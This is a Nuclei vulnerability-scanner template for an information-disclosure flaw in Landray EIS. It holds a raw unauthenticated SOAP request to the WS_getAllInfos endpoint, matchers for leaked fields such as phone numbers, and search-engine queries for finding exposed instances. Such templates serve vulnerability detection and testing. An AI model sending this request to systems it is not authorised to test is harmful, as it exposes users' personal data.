id: landray-eis-ws-infoleak

info:
  name: Landray EIS WS_getAllInfos - Information Disclosure
  author: Fur1na
  severity: high
  description: |
    Landray EIS WS_getAllInfos interface suffers from a sensitive information disclosure vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/CTLyriSSF-nQ8SUFv4RX0A
    - https://github.com/akyosk/pocman/blob/main/cve/Lanling/Lanling_Info.py
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Landray-EIS智慧协同平台"
    zoomeye-query: app="蓝凌EIS智慧协同平台"
  tags: landray,eis,info-leak,vuln

http:
  - raw:
      - |
        POST /WS/Basic/Basic.asmx HTTP/1.1
        Content-Type: text/xml
        Host: {{Hostname}}

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
        <soapenv:Header/>
        <soapenv:Body>
        <tem:WS_getAllInfos/>
        </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?xml"
          - "WS_getAllInfosResponse"
          - "CELL_PHONE_NUMBER"
          - "UNID"
        condition: and

      - type: word
        part: header
        words:
          - "Content-Type: text/xml"

      - type: status
        status:
          - 200
# digest: 490a0046304402203692006d5d3e286c87d7033463c1a4f44dc26d841e27d2191ef78efd85c551f8022040db2b220b6712b5692d4fa58909f326a5a382b9ddccaedd1c9ea1bb61d5bd64:922c64590222798bb761d5b6d8e72950